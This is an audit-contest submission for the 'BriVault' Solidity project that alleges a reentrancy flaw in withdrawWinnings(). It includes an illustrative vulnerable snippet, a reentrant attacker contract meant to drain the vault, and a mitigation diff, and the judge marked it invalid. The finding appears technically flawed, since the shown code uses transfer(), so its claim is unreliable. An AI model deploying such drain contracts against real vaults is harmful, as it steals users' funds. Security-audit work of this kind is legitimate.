BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy vulnerability in withdrawWinnings()

eze001

Root + Impact

Description

  • Normally, withdrawals should safely transfer funds to users without allowing further calls that could manipulate the contract’s state.

  • The current withdrawWinnings() implementation sends funds before updating the user’s state, enabling a reentrancy attack where a malicious contract can repeatedly withdraw funds before balances are updated.

// Root cause in the codebase with @> marks to highlight the relevant section
pragma solidity ^0.8.0;
​
contract ReentrancyVault {
mapping(address => uint256) public userShares;
​
function withdrawWinnings() external {
@> uint256 payout = userShares[msg.sender];
@> payable(msg.sender).transfer(payout); // funds sent before updating state
@> userShares[msg.sender] = 0;
}
}
​

Risk

Likelihood:

  • Occurs whenever a malicious contract calls withdrawWinnings() with reentrant logic before the user’s balance is updated.

  • Occurs whenever the contract does not follow the checks-effects-interactions pattern for withdrawals.

Impact:

  • Impact 1: An attacker can repeatedly withdraw funds, draining the vault.

  • Impact 2: Other users’ funds can be compromised, causing total loss of assets in the vault.

Proof of Concept

The PoC shows that an attacker can repeatedly call withdrawWinnings() before the user’s balance is updated. This reentrancy allows draining the vault and compromising all users’ funds.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
contract ReentrancyPoC {
ReentrancyVault public vault;
​
constructor(ReentrancyVault _vault) { vault = _vault; }
​
fallback() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdrawWinnings(); // reenter
}
}
​
function attack() external payable {
vault.withdrawWinnings();
}
}
​

Recommended Mitigation

Explanation:Follow the checks-effects-interactions pattern: update the user’s balance before transferring funds to prevent reentrancy attacks and protect all vault assets.

- function withdrawWinnings() external {
- uint256 payout = userShares[msg.sender];
- payable(msg.sender).transfer(payout);
- userShares[msg.sender] = 0;
- }
+ function withdrawWinnings() external {
+ uint256 payout = userShares[msg.sender];
+ userShares[msg.sender] = 0; // effects updated before interaction
+ payable(msg.sender).transfer(payout);
+ }
​
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!